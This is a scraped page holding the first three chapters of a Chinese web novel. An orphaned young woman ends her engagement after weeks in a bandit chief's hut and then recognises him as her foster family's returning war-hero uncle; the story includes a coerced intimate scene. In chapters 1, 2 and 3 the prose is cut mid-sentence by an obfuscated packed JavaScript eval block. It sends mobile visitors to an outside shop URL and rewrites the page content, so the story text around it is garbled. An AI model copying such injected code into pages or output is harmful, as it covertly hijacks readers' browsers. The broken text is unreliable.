《表叔不善》 1. 第 1 章 大昭三年，边境一位神秘战神崛起，敌寇再不敢入侵，百姓日子渐渐安稳。 祥和有序的燕京城，才入初秋的八月清晨，豆大雨滴已渗透出丝丝寒意，将庭院芭蕉打落得蔫头耷脑，毫无生气。 一如住在月桂居的主仆们。 本就在霍家谨小慎微多年，自打华姝从深山逃回来，人前人后更是抬不起头 即便霍家最低贱的粗使婆子，也敢肆意辱骂到院门前：“听说没有，今日宋尚书夫人要来，八成是退亲！” “一姑娘家在深山待大半月，能活着回来，要说没野男人给吃给住，谁信？” “以前瞧着府上几个姐儿里边，她最是才貌双全、端庄懂事，没想到最是放浪发骚，我呸！” “她算哪门子正经小姐？在霍家蹭吃蹭住多年，哄得老夫人赔上脸面，才为她求得一份高嫁姻缘……” 闺房内，华姝一袭单薄素色亵衣，平静望着窗外，任由冷风裹挟唾骂声入耳。 听了近一个时辰，神情近乎麻木。 她的贴身丫鬟，白术最先忍不住，气愤地打开院门，朝婆子们身上使劲抡起扫把，“你们说够了没有？都给我滚！” “丑事都做尽了，这半个月指不定怎么被野男人又摸又亲的，还怕人说啊？”婆子们一把薅过扫把，个个撇嘴讥笑。 “我家姑娘守宫砂完好，清清白白，此乃老夫人亲口所言。”另一贴身丫鬟，半夏追出去，拽住白术胳膊，皮笑肉笑地反问：“嬷嬷们要去找老夫人对峙吗？” 华姝知道，耳根子很快能清净了。 霍家三位老爷最是孝顺生母。即便二房夫人贵为县主，也得日日敬着老夫人。 婆子们不敢僭越，气呼呼扔掉扫把，临走前不忘诅咒：“拿着鸡毛当令箭！这次表姑娘已经伤透老夫人的心，看日后府上谁还会护着你们？” 白术指着她们大骂：“赶紧滚！有多远滚不远……” “行了！” 半夏呵斥住她，“你是嫌姑娘处境不够难过，还是嫌姑娘心里不够难过？” 房门从外推开，裹挟着湿冷秋风，吹动软菱纱帐上的玉珠坠子“叮当”作响 “姑娘是何时起的？” 白术走过来，忧切关心道。 双面绣屏风后，华姝将目光落在窗前的桂花树下，对周遭的动静置若罔闻。 西墙边，经过秋雨一夜冲刷，高洁的米黄花瓣，深陷入泥泞里，污浊不堪，再难回到从前。 “姑娘怎得光脚站地上？凉气都从脚入，还是您教奴婢……”白术絮叨着拿来鞋袜，扶着她坐到梳妆台前，伺候穿戴 没一会，半夏端着热腾腾早膳进门，故意逗趣：“有您爱吃的鸡丝小笼包呢。” 这些年承蒙老夫人庇佑，自家姑娘也争气，才貌礼仪样样出彩，凭得一手精湛医术入了宋尚书夫人的青眼。百里挑一的好姻缘，其余几位小姐都羡慕得急红眼。 眼看是正经的宋家少夫人，再不用寄人篱下。怎知婚前进山上香，竟…… “不必了，我去陪祖母一起用早膳。”华姝道。 “姑娘终于想通了！”白术大喜：“老夫人最疼您，若请得她老人家出面，亲事肯定黄不了。” “将婚书与宋公子庚帖，一并带上。” “姑娘要主动退亲？” 就连沉稳的半夏，亦是吃惊。 华姝细语平和，眸光决然：“是我有错在先，一人做事一人当。” 刚刚，那些婆子没说错。 深山茅草屋，眉骨带疤的粗犷野男人，被他压在魁岸身下，又亲又摸。 同床共枕半月，还是她主动的…… *那时还是夏末* 白日里，艳阳高照。她满怀对未来婚姻的美好憧憬，在霍家大房表姐的陪同下，拜佛祈福。山里气候多变，突遭瓢泼大雨，将马车冲下山道，昏死过去。 再醒来，竟掉进山匪窝！ 恰巧山匪头子重伤，绑来无数大夫都没治好。她自幼学医，随身带有银针，竭力说服山匪们，挣得一线生机：被大雨冲下山道的大表姐，最后一丝生还的机会。 密闭潮湿的茅草屋内，药草味刺鼻，血腥味浓郁。 男人平躺在火炕上，身下铺着厚实柔软的老虎皮。他高大魁梧，双脚空悬在炕沿外，健硕的左侧大腿上缠满白色绷带，血迹斑驳。两眼紧闭，干裂厚唇毫无血色 华姝依次叩诊他两只麦色的阔腕，“贵主并非单纯受伤，是中毒。毒素聚集伤口边缘，伤口难愈合，人昏迷不醒。” “中毒？”跟进来的刀疤彪汉，诧异又怀疑：“先前几个大夫，可都没说过。” “我用银针放掉他伤口处的毒血，可保他短暂苏醒，届时您自行分辩。” 年纪轻轻，又是一介女流，极易被轻视。华姝只用事实说话。 解开绷带，银针刺下，藏在体内的稠黑毒血被逼出。片刻后，男人手指微动，徐徐睁眼。 “你还真有两把刷子！” 彪汉敬佩又惊喜，赶忙将男人扶坐起来。五大三粗的汉子，动作恭敬又谨慎：“老大，您感觉怎么样？” “我昏迷了多久？”男人重伤又中毒，嗓音依旧浑厚，声如擂鼓。 “已有五日，可吓坏大伙了。” “慌什么？”男人语速不急不缓，沉郁顿挫：“对方这几日……谁在那？！” 幽冷的视线，如刀子般射过来—— 最让她细思极恐的是，男人好像中毒失明了，眼神失焦。可在她没敢喘口大气的情况下，被他视线精准钳住！ “是请来的女神医，多亏有她，您才能醒……” “出去。”男人冷声命令。 华姝被赶出门，惴惴不安等在院中，焦灼又惶恐。 背靠高山的破败院落里，十多个粗布麻衣的彪形壮汉，赤膊围坐松树下。身上新旧伤疤，大小斑驳。有人蹲身“咔咔”磨刀，锋利刀刃折射刺眼白光，惊恐渗人 她心中不停祈祷，祈祷男人赶紧昏倒。这样才有谈判机会，才能救人。 皇天不负有心人，半个时辰后，那壮汉拧眉走出来：“开药方，越快越好。” 华姝下一记猛药，男人很快重新苏醒 然而，鹿血的药效过于强劲，让他起了反应，血脉喷张，燥欲难耐。 油灯昏暗的茅草屋中，他半靠在炕头，受伤左腿平放，外侧的右腿曲起，盖着虎皮被子，堪堪遮住尴尬。 失血过多的脸，潮红一片，热汗淋漓。两只大手将虎皮被褥攥到变形，手背青筋狰狞凸起。 饶是如此抵制，身体反应不消反增。 深更半夜，雨珠噼里啪啦地敲打窗棱，却遮不住越来越粗重的呼吸声，弥漫在整个房间。 华姝被迫守在旁边，雪腮红得滴血。 大婚前夕，早已从教养嬷嬷那通晓人事。听得男人一声声压抑难耐的低喘，她恨不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13745944|145271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得找个地缝钻进去。 但反复挣扎后，她搓了搓手指，主动解开衣裙，露出藕粉芙蓉小衣。 折下脊梁骨，也折去十六年来刻进骨子里的廉耻教养，裹挟着馨芳的体香，慢慢依偎到□□焚身的男人身上。 冷凉指尖颤抖着，触碰到他火热胸膛的刹那，明显虎躯一震，粗喘呼吸越发急促。 随后，滚烫粗粝的大掌，抚上了她纤软腰肢，烫得白嫩的肌肤阵阵寒颤，如坠寒渊。 虽在霍家不是正经的小姐，可也饱读诗书多年。如此轻贱的献媚，寻常妾室都不屑为之。 临到肌肤相亲的关头，华姝仍止不住地想退缩。 但茅草屋外，十数个满身刀疤的山匪彪汉，正虎视眈眈地等着。其中一人赤手空拳打死的野鹿，这会还倒在血泊里，冒着热乎气。 此时此地，除去一身皮肉，哪还有值得他们入眼的？与其被外面那些彪汉糟蹋，倒不如在山匪头子这搏一份欢心，求动他派人下山救援。 华姝咽下喉头酸涩，生生忍住退意。 一滴清泪，还是顺着眼角悄然滑落。 期盼多年的婚事，肯定保不住了。 怎料，“滚开！” 男人强劲有力的大手，忽地扣住她腰肢，狠狠朝地上一甩。 “老大，你怎么了？！” 门外的山匪们，听到屋里动静，猛地推门冲进来。 衣襟大敞的华姝，心瞬间提到嗓子眼。顾得满身酸痛，仓惶将自己裹成一团，缩进桌子下。 与此同时，有什么东西飞射向门口，应声裂开在那山匪脚下，将其逼得不敢再上前一步。 匆忙间，那山匪瞥见了桌下衣衫不整的华姝，察觉屋里微妙氛围，嘿嘿一笑，关门退出去。 “走走走，别打扰老大做新郎官。” 十来人沉重的脚步声，往远处去了。 起哄的笑闹声，宛若阵阵讥笑，狠狠一巴掌扇在华姝脸上。 “穿好衣服，你也出去。” 男人本就压迫十足的周身气场，越发沉闷威压。不容置喙的语气，让人恍然生出一股他能号令千军万马的错觉。 华姝呼吸一紧，再度心生退意。 她做不到。 她真的做不到。 突然这时，“咔嚓——” 屋外雷雨更甚，救人迫在眉睫！ 锃亮刺目的闪电，抽打着山脊，也好似抽打在她心涧，血肉模糊。 在霍家几年，除了老夫人，大表姐最照顾她。大表姐瘫痪多年，若无人救援，今夜难逃一死。今日又是陪她进山上香，才遭此劫难，华姝不能连累这么好的人枉死。 葱白纤手，攥紧发皱松散衣摆，又徒劳无力松开。重新起身，宛若一具行尸走肉走向炕边。 她咬了咬唇瓣，软语孱颤：“衣裙刚被您扯坏了。” “我没听到衣料破碎声。” 男人咬牙强忍着，汗涔涔的宽额上，剑眉紧蹙。 右眉骨靠前三分处的斜短细疤，被进褶皱里，让他减少些许狠戾，平添几丝阳刚贵气。 平心而论，虽是山匪头子，其实长得并不丑。眉宇疏朗，星目炯然，深邃大气的五官好似书中常描绘的一代枭雄模样。 “……是衣襟的盘扣掉了。” 华姝心脏忽然砰砰跳得厉害，深吸了口气，潸然落泪的同时，主动牵起他滚烫粗粝的厚掌，往心口处带去，“不信，您摸摸……” 2. 第 2 章 霍家主屋，千竹堂。 华姝一路饱受各种打量的目光，怀着五味杂陈的心绪，缓步跨过院门。 自打从山里回来后，再没敢在老夫人跟前露面。好担心祖母会为她难过，亦或渐渐失望，再也不要她了。 幸运的是，主屋的丫鬟见她来了，一如既往热络地掀开帘子，“表姑娘总算来了，快请进。老夫人已经念叨好几次了，等会见到您，早膳一准能多吃半碗。” 华姝欣慰一笑：“多谢芸儿姐姐。” 走进屋时，三房的夫人和小姐们，已经依次候坐在中堂的太师椅上，包括怀孕四月有余的三夫人，都等着为老夫人请安。 她盈盈欠身，端庄行礼：“见过大伯母二伯母三婶娘、两位表姐，姝儿来迟了。” “不迟不迟，姝儿快过来坐。” 大表姐霍千羽坐在红木轮椅上，笑着朝她伸出手。 大夫人也欢喜附和：“是啊，我们也都刚到，你快坐。” 相比大房母女的亲近，二房三房的人只象征性笑了笑。不过谁都心照不宣地没再提起山里的事，应是老夫人特意吩咐过。 华姝挨着霍千羽坐下，大大方方问：“表姐身上的伤可大好了？” 霍千羽没想到她会主动提起，面露意外的同时，拉过她手握紧，“多亏了你，我伤得不重。倒是你自己，可好些了？” 霍千羽的一语双关，让华姝再度陷入回忆。 雨夜那晚，设法帮男人纾解完，她第一时间提出救人。餍足过后的男人，还算慷慨，随即吩咐山匪们连夜下山寻人。 他甚至周到地顾虑到女儿家的名声，将霍千羽送到山顶寺院，假称被大雨阻在半路、无奈折返。只是，却以鹿血药方要连喝半月为由，说什么都不肯放华姝离开。 次日天晴，霍家的人成功接回霍千羽，却是寻觅华姝不得。大伙都明白，霍千羽瘫痪多年，能死里逃生肯定是因为华姝做了什么，但她不肯多说便没再多问。 原本就多驾照佛的老夫人和大房中人，因此对她越发亲厚。 “表姑娘，老夫人今日戴发簪始终没选到可心的，让您进去帮她挑挑呢。”老夫人贴身的桂嬷嬷从内室走出来，言笑晏晏请人。 华姝明白，老夫人这是特意在人前给她长脸，自然不会拒绝。 霍千羽母女见状，都由衷为她高兴。二房的霍华羽忍不住撇嘴：“倒底谁才是亲生的？”然后被其母明和县主掐了下，悻悻闭嘴。三夫人怀着孕，这会只乐得自在。 内室里，年过半百的老夫人满头华发已梳整齐，凤穿牡丹的深黄锦衣，与翡翠镶金的牡丹簪子，搭配得相得益彰，雍容华贵。 眼角的鱼尾纹里，充满着爱怜。一见到华姝就心疼地抱进怀里，含着“心肝肉”落泪。 亲自教养了七八年的好姑娘，老人家是真心疼她，比亲孙女还疼。虽是三令五申交代下去，不准府中人再提及此事，但这深宅大院里上千张嘴，哪可能时时堵严？ 华姝不想再惹老人家难过，看向房顶，强逼退泪水。故作轻松地伺候她重新净面，提及正事：“祖母，姝儿想退掉这门亲事。” “您教过我，强扭的瓜不甜。与其勉勉强强嫁去宋家，卑躬屈膝地活着，不如好聚好散。有医术在手，有霍家为我撑腰，日后姝儿还能挺直脊梁骨做人。” 相对于桂嬷嬷等人的惋惜不解，霍老夫人一点都不意外，自己养大的姑娘自己最清楚。 她摸着华姝的头，“好孩子，祖母都依你。不想嫁宋家咱就不嫁，等日后遇到合适的人，祖母亲自去为你说媒。即便一辈子不想嫁，祖母的贴己钱也养得起你。” 简短一句话，将她所有后路都想全了 “祖母……” 华姝这次再也忍不住了，泪水决堤。 祖孙俩抱在一块，痛哭好久。桂嬷嬷和贴身大丫鬟瞧着，也都湿了眼眶。 东方朝阳，橙红万丈，像是苍天给予的莫大鼓舞，又像是一个温暖怀抱，令人倍感安心。 * 再度被伺候着净脸后，祖孙俩走到外间的中堂，大伙一起热热闹闹用完早膳。 全程欢声笑语，若无其事。 不过饭菜还没撤下去，丫鬟就来通传：“启禀老夫人，宋尚书夫人到了。” 闻言，众人神色各异。 大房的霍千羽母女不由面露忧切，二房的霍华羽母女冷眼旁观，三房夫人继续喝着安胎药膳，反应淡淡。 老夫人跟华姝已私下通过气，这会神色平稳如常：“将早膳撤下去，请宋夫人进来。” 不多时，丫鬟重新从外挑开门帘，一位风姿绰约的中年贵妇，款款而入。 来人年仅四十，皮肤依旧白皙光润，可见保养得当。发髻簪满红宝石头面，青色罗裙是时下最新兴的烟纱苏锦智造。腰间所坠玉佩，与腕子一对乳白玉镯，也是从成块的羊脂暖玉上整副切割而得，身价翻了数倍。 宋夫人一进门就跟华姝对上了眼，没料到她会不避嫌，但很快不着痕迹挪开目光，朝上首老夫人欢笑见礼：“臣妇见过霍老夫人，老夫人万安。” 按理说，宋尚书官拜三品，霍家官职最高的二姥爷也才正四品，理应众人先向宋夫人见礼。 但老夫人乃正一品的郡主出身，完全受得起她这礼。倒也没仗势欺人，笑着吩咐：“快给宋夫人看坐。” 二房夫人又是正二品的明和县主，与大夫人恭敬坐在老夫人下首。故而宋夫人，也只得屈居在下。 宋夫人在一众人面前不敢自恃身份，起初只敢说些不咸不淡的客套话缓和关系。 后来等了半晌都不见华姝离开，她终于忍不住了，主动提及话茬：“老夫人，实不相瞒，臣妇此次前来是想重新商讨一下两家的这门婚事。” 老夫人本想顺水推舟，“宋夫人有何打算？” 哪知，宋家是里子面子都想要，“您也是知道，我家大郎去年初入官场，这一年破耗费精力。他又是实心眼的孩子，满心惦念着为百姓办事，暂时无暇顾及个人私事，这成亲的事不知得到何时。” 她状似慈爱地看向斜对面的华姝，“姝儿是个好姑娘，可不能被这么耽搁了。我也是真心喜欢她，想着说不若许配给我家二郎，到时候还能做婆媳。” 此话一出，房间陡然沉寂。 老夫人笑意全无不说，华姝等人看她的目光也冷凉下来。桂嬷嬷等人，更是止不住朝宋夫人甩眼刀子。 众所周知，宋家二郎乃室所出。嫡少夫人变庶子夫人，“还能做婆媳”的含义可是千差万别。 若寻常庶子也罢了，宋家二郎几次科考不中，颓废嫖赌，外室大着肚子找上门，满城笑话。 让华姝嫁给这种货色，无异于把她往火坑里推，霍家的脸面也得被人踩在脚底。 老夫人深谙其理，气得不轻。但教养使然，加之霍家这边出事在先，还是好言好语表示：“宋夫人的美意，我们霍家心领了。不过早前姝儿已同老婆子说明，想退掉这门亲事。婚书庚帖今日便可归还于你，从此两家孩子各自嫁娶，互不干预。” 宋夫人听完愣住，显然没料到华姝舍得主动退亲。 转而再想，郁闷至极。 她们宋家是何门第，哪轮到这般卑微出身的女子先行拒婚？尤其华姝不检点在先，理应她被退亲才对。这事传出去，甚是有损大郎颜面，宋夫人决不能允许。 于是她皮笑肉不笑，明知故问道：“敢问华姑娘，因何缘由想退亲呐？” 房内气压，更是冷寂到极点。 因何缘由，大家心里都明镜似的。宋夫人非要摆到台面上，那就是明目张胆要打霍家的脸。 这回，不仅老夫人气得让桂嬷嬷直抚胸脯，三位夫人也都坐不住了。 奈何大老爷和三老爷官职不高，俩夫人人微言轻。但二夫人明和县主可不惯着她： “我家婆母给宋夫人留着脸面，您见好就收吧。燕京城谁人不知，你家大郎体弱多病。我家表姑娘虽然医术精湛，但架不住他日夜为百姓奔波呀。怕年纪轻轻就守寡呗。” “噗哧——” 二表姐霍华羽忍不住为母亲竖起大拇指，论怼人，还得是她娘啊。 大表姐霍千羽也与华姝相视而笑，倍感解恨。 二夫人素来是刀子嘴豆腐心，家里斗得厉害，对面极其维护霍家。华姝由衷朝她感激一笑，结果被回复一记白眼。 华姝：“……”二伯母开心就好。 霍家人乐呵了，宋夫人气得脸色铁青，对二夫人怒目而视：“你——” 奈何对方是县主，她不能直接辱没。咬牙沉脸站起身，吩咐婢女：“去将庚帖和婚书换回来，咱们回府。不是一家人不进一家门，我倒要看看，霍家几个小姐都能嫁入哪户高门？！” 目光掠过霍千羽时，还特意挑衅看了眼瘫痪的双腿。 霍千羽也不甘示弱：“好死，不如赖活着……” “报——” 突然这时，有看门的小厮一路狂奔而来，顾不得通传，径直扑进来跪在地上，“老夫人大喜，大喜啊！” “何事慌慌张张？” 刚被宋夫人讥讽过家风，二夫人不悦训斥道。 “四爷……圣旨……镇南王……” 小厮一时太激动，跑得上气不接下气。 一听圣旨，大伙皆不敢轻视。大夫人安抚他，“不急，你将气喘匀乎了，慢慢说。” 小厮哪敢耽搁，稍稍气顺便匆忙回禀：“宫里传旨的内侍监已抵达正门外，说是咱家四爷在边境大捷，被圣上亲封为镇南 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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老夫人缓步走进清枫斋主屋，瞧着熟悉的屋子，不免睹物思人。 “好多年没来了，我不敢来。连画像都让桂嬷嬷收了起来，不敢看，就怕梦到他在外出事。” 她摸摸那床头，又比划着书案的高度，泣不成声：“当年刚抱回来时，还没这桌子高，一晃就变成大将军了，我儿争气啊！这些年在外面，也不知一个人吃了多少苦，受没受伤……” “祖母，这是喜事。回头你哭坏了眼睛，四叔回来得多心疼呐。”华姝微笑着为老夫人拭泪，撒娇逗趣道：“我还在这呢，你这有了儿子就忘了孙女，姝儿可不依。” 老人家破涕而笑：“对对，还有咱家姝儿呢。这些年少个儿子，多了孙女，祖母开心地很。” “您开心就好，是我们小辈之福。” 眼看气氛渲染到位，二夫人笑盈盈接过话茬，适时提出多日的心头顾虑：“虽说四弟从前住在清枫斋，但倒底偏了些，他如今贵为王爷，再安排在此地是否有碍身份？” 华姝眨了眨眼，没再多言。 按大昭惯例，圣上会赐予王府。四叔若住过去，便与分家分异。 寻常人这般做，定被戳着脊梁骨指责不孝不义。四叔是祖母的养子，旁人不好说三道四，何况是人人敬仰的战神？ 但如此一来，霍家其余三房能沾得好处就少了。二伯母，这是在变相打探祖母的态度呢。 老夫人哪会不懂？ 她听完，笑着打起太极：“这臭小子一走七八年，连封平安信都没有，一点不知道想我。他还敢有脾气？我到时候就将他打出去，爱谁要谁要。” 模棱两可的态度，让二夫人讨个没趣，也不敢再深问。片刻后，借口有事走开了。 她走后，祖孙俩一边往外走，一边说起贴己话：“姝儿，你怎么看？” 华姝扶着她，莞尔道：“祖母愿意尊重姝儿的婚事，想来也会尊重四叔的意愿吧。” “瞧瞧，还是这丫头最懂我。”老夫人拍拍她手，同桂嬷嬷笑道。 桂嬷嬷也笑着附和：“谁说不是呢？表小姐和四爷都是您亲手养大的，一样地孝顺懂事。” 华姝腼腆一笑，梨涡浅浅。 “不过有两点，祖母还是要提醒你。” 老夫人走到清枫斋门口，停下脚步，看着对面华姝的月桂居，鱼尾纹掬起一抹慈爱的笑意： “其一，你同小四住得最近。 其二，他同你父亲关系最是亲厚。 日后你多孝敬着，让他为你物色一门好亲事。咱家姝儿这么好的姑娘，找夫婿也值得最好的。” 3. 第 3 章 祖母的时刻惦念，让华姝心头暖洋洋的。但这话茬，她却没应。 不敢应。 没脸应。 华姝的亲祖母，与霍老夫人是闺中挚友，嫁人后常有走动。据说，父亲年幼时没少往霍家跑，应是那时与四叔接下来的缘分。 父亲生前清白一世，四叔定也是极有风骨之人。毕竟这世间没几人，愿意放弃舒适优渥的世家生活，一扎根在风沙漫天的边境，浴血奋战就是七八年。 若是被四叔知晓她做得那些丑事，还不知得怎样恨她、怪她给父亲丟尽颜面吧…… 华姝送老夫人回去后，已是日落黄昏。顶着漫天暗沉沉的夕阳，主仆三人往月桂居折返。 晚风渐凉，她搓了搓手臂。 半夏贴心为她披上暗红色的石榴披风，“奴婢多嘴一句，姑娘想开些。四爷是老夫人一手养大的，定也同老夫人一般心明眼亮。” “老夫人都明确发话了，四爷肯定会为您物色一门好亲事。”白术也道：“奴婢回头就去打听四爷的吃食喜好，咱们近水楼台先得月，先抓住四爷的胃！再笼络住四爷的心！” 华姝被逗笑：“你就知道吃。四叔可是战神，才瞧不上……见过大表兄。” 主仆三人绕过垂花门，刚走上林荫石子小路，抬眼就瞧见长身玉立在湖边的霍玄，大房霍千羽的胞弟，霍家嫡长孙。 十七岁的温润美少年，身后跟着书童和侍卫。他眉眼如玉，柔和无害。一袭低调的鸦青长衫，透着浓郁的儒雅气。 华姝顺势近前打招呼。 白术和半夏识趣留在原地，不远不近地候着。 “表妹是刚从祖母那回来？” 霍玄主动挑起话题。 “陪祖母去四叔的院子转了转。”华姝微笑道：“表兄也是为四叔特意从学院赶回来的吧？” 霍家大房和二房各有一位嫡子，未及弱冠，大多时住在学院潜心苦读。此次四叔大捷封王，全家人都很重视。二伯父一早就命人去学院传话，让两人尽快归家，恭候四叔班师回朝。 “不止为四叔。” 少女温婉知礼，让霍霖忍不住侧目。 笑起来梨涡朵朵，在夕阳照耀下，清甜又明媚。尤其那双狗狗眼，乍看干净无辜，细看又清纯懵懂得引人亲近，想保护。 环顾四周没有外人，他压低声音，耳朵微红：“也为了表妹。” 空气突然安静，一缕细细晚风萦绕在两人周围，气愤变得微妙起来。 瞧着少年投来的真挚目光，华姝半懂未懂，一时不敢多言。 霍玄知道女孩家脸皮薄，这层窗户纸需得由他挑破，“此事，是我失礼了。但今日归家后，得知表妹被退婚，我既心疼又兴奋，像是上天的恩赐，让我终于等到求娶你的机会。” “多年相处，我自是相信表妹的为人，不疑半分。只待过几日放榜后，若能争得殿试资格，有了正经官职，霍玄定备得丰厚聘礼，向你正式提亲。” 怕她不信，他还举手发誓：“今日此言，句句肺腑。来时已同母亲商议，她也欢喜，盼你做她的……”儿媳。 一句句饱含万分理解的话语，如晚风吹动湖面般，也吹乱华姝的心湖，荡漾起阵阵涟漪。 大表兄霍玄这些年对她照顾也不少，为人端方君子，亦是燕京城众多女子的择偶首选。尤其是霍家变为镇南王府之后。 大伯母时不时也会关心她，霍千羽有的礼物，常常会多备一份给她。大表姐本人更没得说，是亲人也是挚友。如果能和她们做婆媳、做妯娌，还能继续陪着祖母，未来日子肯定舒坦。 听得霍玄真心话，华姝有些心动。 可山里几日，肌肤相亲真切发生过。 从祖母那学来的多年教导，让她不齿欺骗他们的信任，心中转而万分愧疚难当。 华姝搓搓指尖，勉强挤出笑意：“说起殿试，还未来得及祝愿表兄，科考大成，金榜题名。” 为避免直接拒绝引起尴尬，她默默转移话题，很快叫上白术和半夏离开。 霍玄望着她渐行渐远的纤细鹅黄背影，回忆着她一颦一笑的恬美可人，痴痴站了许久。 表妹没答应也没拒绝，就还有机会。 她需要些时日消化山中事，他就趁此时日好生准备殿试，一举挣得功名，让她风光大嫁，堵住燕京城所有人的嘴！ * 一场秋雨一场寒，日子辗转八月底。 四爷霍霆的归期临近，来霍家递拜帖的人越来越多。 三位老爷尽可能闭门谢客，不擅自为弟弟欠下人情债。夫人们谢绝宴席邀请，专心在府中筹办各项章程，教导小辈们礼仪。 “初次行礼是半屈膝不能稍欠身，要穿入宫赴宴规制的服侍，什么能说什么不能说，都记清了吗？” 大到燕京城，小到霍家，都仿佛在备战。东南边境的战火，似以另一种方式烧到北部中原。 “镇南王归来，燕京城要变天了！” 大夫人为此累倒，华姝前往白鹭院侍疾，“您身子已大好，再吃两副汤药，寒症就能消退。” “这几日多亏有姝儿。” 大夫人靠在青纱罗帐床头，盖着软缎锦被，拉起她手说话，“府上都在忙四弟的事，难得你惦记着我。” “府中大事皆有长辈操持，姝儿帮衬不上，也就医术还能派上些用场。” “就你这丫头实心眼！瞧瞧那两位表姑娘，这会又在千竹堂装乖卖巧呢吧？” 二夫人表妹沈青禾，和三夫人胞妹阮糖，借着探亲的名头来霍家小住。两人皆是适嫁年纪，得知二十八岁的镇南王此前忙于战事，尚未娶妻，都想近水楼台先得月，争一争王妃之位。 自住进霍家，她们日日往千竹堂跑，陪老夫人打叶子牌，变着法子逗乐子。 一度将华姝，都挤得没地呆。 事关长辈婚事，她自认没什么好争的，索性给她们腾出位置。 “不去正好。大伯母要将你藏严实些，好留给自家儿子。”大夫人笑容可掬。 这丫头是她亲眼看着长大的，各方面都合心。虽说先前稍有差池，但清白尚在。何况不惜救她闺女一命，又颇得他儿子欢喜，大夫人琢磨着当儿媳也挺好。 “我听玄哥儿说，他前几日都与你说明白了？” 华姝听得面颊一热，后知后觉对方貌似误会了，“大伯母，我那日的意思，其实是……” “夫人，四爷回府了！” 忽然这时，丫鬟气喘吁吁跑进通传。 大夫人坐直身子，面露诧异：“不是说要两日后吗？” “这……奴婢不知，只知道马车这会已到门口。三位老爷已带着少爷们先行迎接。”丫鬟磕磕绊绊答道：“过来的路上，二夫人和三夫人也都往老夫人那儿去了。” “好啊！一个个都巴巴去献殷勤，就不叫我。”大夫人忙吩咐更衣，“快，咱也快点过去。” “您有病在身，想来四叔会理解。” 对四叔无所求的华姝，相对平静许多，帮着挑件厚实的披风，“您多穿些，切莫再着凉了。” 丫鬟们很快鱼贯而入，净面的净面，梳妆的梳妆……屋子顿时忙作一团，胜在闹中有序。 不多时，霍千羽闻讯过来。娘仨穿戴整齐，齐齐往千竹堂赶。 * 天幕飘起零星小雨，秋风寒涩阵阵。 青石板路被淋湿，地面变得滑擦。 霍千羽坐轮椅，走不快。 华姝就撑伞陪着她，慢慢跟在后面。 两人都不是争名逐利的性子，此次只为全一份对长辈的孝道、对民族英雄的敬意。 华姝甚至都有点犯怵，总担心她的丑事会给四叔的战神身份抹黑，会为他不喜、不齿。 霍千羽瞧着自家老母亲在前面脚下生风，悄悄打趣：“我娘这病，提前好了呢。” 华姝朱唇微勾：“确实瞧不出病态了。看来四叔不仅是战神，还是药神……” “药到病除！哈哈……” 两人有说有笑，一路走到千竹堂院门口，远远就望见主屋台阶前乌泱泱一大群人。 各色油纸伞里三层外三层围着，也瞧不见中间那位令整座燕京城都兴师动众的威武四叔，只能通过每人的声音辨认。 “我的儿啊，你终于回来了！” 先前扬言要将人打出去的老夫人，应是不顾下雨，亲自出门相迎，哽咽又委屈：“娘都担心闭上眼那日，都再瞧不见你。” “四弟这不回来了么？母亲，此乃喜事。”大老爷温润劝道。 “四弟独自在边疆征战这些年，定也是念着母亲的。”二老爷话带威严。 三爷性子活脱：“您这一伤心，惹得四弟难过不说，连老天都哭泣了……” 众人大笑。 二夫人趁热打铁，殷切张罗着：“外面下雨天寒，咱进屋说话吧。” 她掌管内宅多年，话语自带威信力。 但今日人群未动。 华姝浅浅一笑，心生感慨。 燕京城有没有变天未可知，霍家的天是真变了…… “母亲莫哭，澜舟回来了。” 一道熟悉又陌生的声音，猝不及防响起，华姝笑意僵住。 熟悉的是声线，陌生的是温和语气。 记忆中那人，一惯冷语寒沉。 应是她听错了吧？ “回来就好，回来就好。” 老夫人依旧哽咽：“我儿澜舟平安得胜归来，可喜可贺，为娘这是喜极而泣。” “都是澜舟不孝，日后定好生陪陪母亲，再不让您劳神惦念。” “叮咚——”有雨滴敲落脚边。 这回，华姝整个身子都僵住。 真的是他！ 怎会是他？ 不是山匪头子吗？ 战神，镇南王……四叔？ 后面的对话，都游游荡荡从华姝耳畔飘远。她像是误入一场春秋大梦，惟愿长醉不用醒…… “姝儿，你怎么也没戴个手镯？” 霍千羽的关注点，则是在沈青禾和阮糖两个表姑娘的明艳华丽穿戴上。她从腕子蜕下一只塞到身后，“快戴上。咱霍家的姑娘，可不能被那外来的比下去。” 华姝大脑仍一片空白。 左手出于本能，去接玉镯子。双眼，则紧紧盯着前方的人群。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13745946|145271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她抱着最后一丝侥幸，或许只是声音极像。毕竟山匪头子和战神的身份，千差万别。 人群开始攒动，慢慢往主屋门口移步。先前挤在一处的油纸伞，逐渐露出大片缝隙。 那张刚劲俊毅的侧脸，惊现伞下。 右眉骨的斜短细疤，位置不偏半寸。 真的，就是他…… “啪啦——” 